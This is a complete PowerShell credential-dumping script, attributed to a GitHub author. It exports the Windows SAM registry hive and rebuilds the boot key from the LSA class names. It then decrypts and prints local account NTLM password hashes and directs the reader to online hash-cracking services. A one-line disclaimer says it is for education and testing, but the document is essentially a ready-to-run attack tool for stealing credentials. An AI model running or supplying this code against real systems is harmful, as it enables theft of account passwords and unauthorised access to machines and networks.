# --- Author: zetod1ce (github.com/ztd38f) --- # # --- DISCLAIMER: Provided as-is, without warranties. For educational and testing use only in controlled environments. Use at your own risk. --- # function NTLMHashExtractor { Clear-Host $ErrorActionPreference = "Stop" Add-Type 'using System;using System.Runtime.InteropServices;using System.Text;public class RegUtils{[DllImport("ntdll.dll")]public static extern int RtlAdjustPrivilege(ulong a,bool b,bool c,ref bool d);[DllImport("advapi32.dll",CharSet=CharSet.Unicode)]public static extern int RegOpenKeyEx(IntPtr hKey,string lpSubKey,uint ulOptions,int samDesired,out IntPtr phkResult);[DllImport("advapi32.dll")]public static extern int RegQueryInfoKey(IntPtr hKey,StringBuilder c,ref uint l,IntPtr _,IntPtr __,IntPtr ___,IntPtr ____,IntPtr _____,IntPtr ______,IntPtr _______,IntPtr ________,IntPtr _________);[DllImport("advapi32.dll")]public static extern int RegCloseKey(IntPtr hKey);public static string GetClass(string subKey){bool d=false;RtlAdjustPrivilege(17,true,false,ref d);IntPtr hklm=new IntPtr(unchecked((int)0x80000002));IntPtr hKey;if(RegOpenKeyEx(hklm,subKey,0x4000,0x20019,out hKey)==0){StringBuilder sb=new StringBuilder(1024);uint len=1024;if(RegQueryInfoKey(hKey,sb,ref len,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero)==0){RegCloseKey(hKey);return sb.ToString().Substring(0,(int)len);}RegCloseKey(hKey);}return null;}}' function Get-Cls { param([string]$path) $subKey = $path -replace '^HKLM:\\', '' return [RegUtils]::GetClass($subKey) } function Convert-HexStringToByteArray {param([string]$HexString)$HexString=$HexString-replace'[^0-9A-Fa-f]','';if($HexString.Length%2){$HexString="0$HexString"}[byte[]]$Bytes=@();for($i=0; $i -lt $HexString.Length;$i+=2){$Bytes+=[Convert]::ToByte($HexString.Substring($i,2),16)}return $Bytes} class BootKeyExtractor { [byte[]]$Boot_key [hashtable]$HashData BootKeyExtractor([string]$Combined_LSA_key,[string]$LSA_key,[string]$Boot_key) { $this.Boot_key = Convert-HexStringToByteArray $Boot_key $this.HashData = @{} } [void]LoadRegistryData([string]$FilePath) { $content = gc $FilePath -Raw $accountMatches = [regex]::Matches($content, 'HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\([0-9A-F]{8})') $accountMatches = [regex]::Matches($content, 'HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\([0-9A-F]{8})') foreach ($accountMatch in $accountMatches) { $rid = [Convert]::ToInt32($accountMatch.Groups[1].Value, 16) $vMatch = [regex]::Match($content, "\\$($accountMatch.Groups[1].Value)[\s\S]*?""V""=hex:([\s\S]*?)(?=""\w|$)") if ($vMatch.Success) { $vValue = $vMatch.Groups[1].Value -replace '\\\r\n\s*', '' -replace ',', '' $vBytes = Convert-HexStringToByteArray $vValue $pattern = [byte[]]@(0x02, 0x00, 0x02, 0x00, 0x10, 0x00, 0x00, 0x00) $patternIndex = -1 for ($i = 0; $i -lt ($vBytes.Length - $pattern.Length); $i++) { if (($vBytes[$i..($i + 7)] -join '') -eq ($pattern -join '')) { $patternIndex = $i break } } if ($patternIndex -ne -1) { $ivStart = $patternIndex + 8 $iv = $vBytes[$ivStart..($ivStart + 15)] $hashDataStart = $ivStart + 16 $encryptedData = $vBytes[$hashDataStart..($hashDataStart + 31)] if (($encryptedData |? { $_ -ne 0 }).Count -gt 0) { $this.HashData[$rid] = @{IV = $iv;EncryptedData = $encryptedData} } } } } } [byte[][]]ComputeUserKeys([int]$RID) { $RIDBytes = [BitConverter]::GetBytes($RID) $k = @( @($RIDBytes[0],$RIDBytes[1],$RIDBytes[2],$RIDBytes[3],$RIDBytes[0],$RIDBytes[1],$RIDBytes[2]), @($RIDBytes[3],$RIDBytes[0],$RIDBytes[1],$RIDBytes[2],$RIDBytes[3],$RIDBytes[0],$RIDBytes[1]) ) for ($i = 0; $i -lt 2; $i++) { $key = @( [byte](($k[$i][0] -shr 1) -band 0xFF), [byte]((($k[$i][0] -band 0x01) -shl 6) -bor ($k[$i][1] -shr 2)), [byte]((($k[$i][1] -band 0x03) -shl 5) -bor ($k[$i][2] -shr 3)), [byte]((($k[$i][2] -band 0x07) -shl 4) -bor ($k[$i][3] -shr 4)), [byte]((($k[$i][3] -band 0x0F) -shl 3) -bor ($k[$i][4] -shr 5)), [byte]((($k[$i][4] -band 0x1F) -shl 2) -bor ($k[$i][5] -shr 6)), [byte]((($k[$i][5] -band 0x3F) -shl 1) -bor ($k[$i][6] -shr 7)), [byte]($k[$i][6] -band 0x7F) ) for ($j = 0; $j -lt 8; $j++) {$key[$j] = [byte](($key[$j] -shl 1) -band 0xFE)} $k[$i] = $key } return $k } [void]DecryptUserHashes() { foreach ($RID in @(0x1F4,0x1F5,0x1F7,0x1F8,0x3E8)) { if (-not $this.HashData.ContainsKey($RID)) {continue} $ridData = $this.HashData[$RID] if ($null -eq $ridData.IV -or $ridData.IV.Length -ne 16 -or $null -eq $ridData.EncryptedData -or $ridData.EncryptedData.Length -ne 32) {continue} $aes = [System.Security.Cryptography.Aes]::Create() try { $aes.KeySize = 128 $aes.Key = $this.Boot_key $aes.IV = $ridData.IV $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::None $DecryptedNTHash = $aes.CreateDecryptor().TransformFinalBlock($ridData.EncryptedData, 0, 32) if ($DecryptedNTHash.Length -gt 0) { $UserKeys = $this.ComputeUserKeys($RID) if (-not $UserKeys[0] -or -not $UserKeys[1]) { continue } $DES1 = [System.Security.Cryptography.DES]::Create() $DES2 = [System.Security.Cryptography.DES]::Create() try { $DES1.Mode = $DES2.Mode = [System.Security.Cryptography.CipherMode]::ECB $DES1.Padding = $DES2.Padding = [System.Security.Cryptography.PaddingMode]::None $DES1.Key = Add-DESKeyParity $UserKeys[0] $DES2.Key = Add-DESKeyParity $UserKeys[1] $Part1 = $DES1.CreateDecryptor().TransformFinalBlock($DecryptedNTHash[0..7], 0, 8) $Part2 = $DES2.CreateDecryptor().TransformFinalBlock($DecryptedNTHash[8..15], 0, 8) Write-Host "`n[+] RID $([Convert]::ToString($RID, 16)) Hash: $([BitConverter]::ToString($Part1 + $Part2) -replace '-')" } finally {$DES1.Dispose();$DES2.Dispose()} } } finally {$aes.Dispose()} } } } function Add-DESKeyParity {param([byte[]]$Key)[byte[]]$KeyWithParity=[byte[]]::new(8);[Array]::Copy($Key,$KeyWithParity,8);for($i=0;$i -lt 8;$i++){$KeyWithParity[$i]=if((0..6|% {($KeyWithParity[$i]-band(1-shl $_)) -ne 0}|Measure-Object).Count%2 -eq 0){$KeyWithParity[$i]-bor 1}else{$KeyWithParity[$i]-band 0xFE}};return $KeyWithParity} function Generate-Keys { param ([string]$SAMPath) $JD = Get-Cls 'SYSTEM\CurrentControlSet\Control\Lsa\JD' $Skew1 = Get-Cls 'SYSTEM\CurrentControlSet\Control\Lsa\Skew1' $GBG = Get-Cls 'SYSTEM\CurrentControlSet\Control\Lsa\GBG' $Data = Get-Cls 'SYSTEM\CurrentControlSet\Control\Lsa\Data' $Combined_LSA_key = "$JD$Skew1$GBG$Data" if (-not $Combined_LSA_key -or $Combined_LSA_key.Length -ne 32) { throw "Failed to extract SYSTEM LSA key. The script MUST be executed as SYSTEM or with SeBackupPrivilege." } $combined_bytes = Convert-HexStringToByteArray $Combined_LSA_key $lsa_bytes = [byte[]]::new(16) $scrambled = @(8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7) for ($i = 0; $i -lt 16; $i++) {$lsa_bytes[$i] = $combined_bytes[$scrambled[$i]]} $LSA_key = [BitConverter]::ToString($lsa_bytes) -replace '-' $samContent = gc $SAMPath -Raw $fMatch = [regex]::Match($samContent, '"F"=hex:([\s\S]+?)(?=\r?\n"|\z)') if ($fMatch.Success) { $f_bytes = Convert-HexStringToByteArray ($fMatch.Groups[1].Value -replace '\\\r\n\s*', '' -replace ',', '') if ($f_bytes.Length -lt 168) { throw "Invalid SAM F structure length: $($f_bytes.Length)" } $iv = $f_bytes[120..135] $encrypted_data = $f_bytes[136..167] $aes = [System.Security.Cryptography.Aes]::Create() try { $aes.KeySize = 128 $aes.Key = $lsa_bytes $aes.IV = $iv $boot_bytes = $aes.CreateDecryptor().TransformFinalBlock($encrypted_data, 0, $encrypted_data.Length) $Boot_key = [BitConverter]::ToString($boot_bytes[0..15]) -replace '-' } finally {$aes.Dispose()} } if (-not $Boot_key -or $Boot_key.Length -lt 32) { throw "Boot_key extraction failed (invalid SAM F block or parsing error)" } return @{Combined_LSA_key = $Combined_LSA_key.ToUpper();LSA_key = $LSA_key;Boot_key = $Boot_key} } try { $SAMPath = Join-Path $env:TEMP "SAM_export_$([guid]::NewGuid().Guid.Substring(0,8)).reg" Write-Host "[~] Exporting SAM Registry..." -ForegroundColor Cyan $process = Start-Process "reg.exe" -ArgumentList "export HKLM\SAM `"$SAMPath`" /y" -Wait -NoNewWindow -PassThru if ($process.ExitCode -ne 0 -or -not (Test-Path $SAMPath)) { throw "Failed to export SAM registry. Are you running as Administrator?" } $keys = Generate-Keys -SAMPath $SAMPath $Extractor = [BootKeyExtractor]::new($keys.Combined_LSA_key, $keys.LSA_key, $keys.Boot_key) $Extractor.LoadRegistryData($SAMPath) $Extractor.DecryptUserHashes() Remove-Item -Path $SAMPath -Force -ErrorAction SilentlyContinue Write-Host "`n[!] Decrypt Hashes: https://hashes.com/en/decrypt" Write-Host "[!] Decrypt Hashes: https://crackstation.net" Write-Host "[!] Decrypt Hashes: https://md5decrypt.net/en/Ntlm`n" } catch {Write-Error "Error: $($_.Exception.Message)"} }; NTLMHashExtractor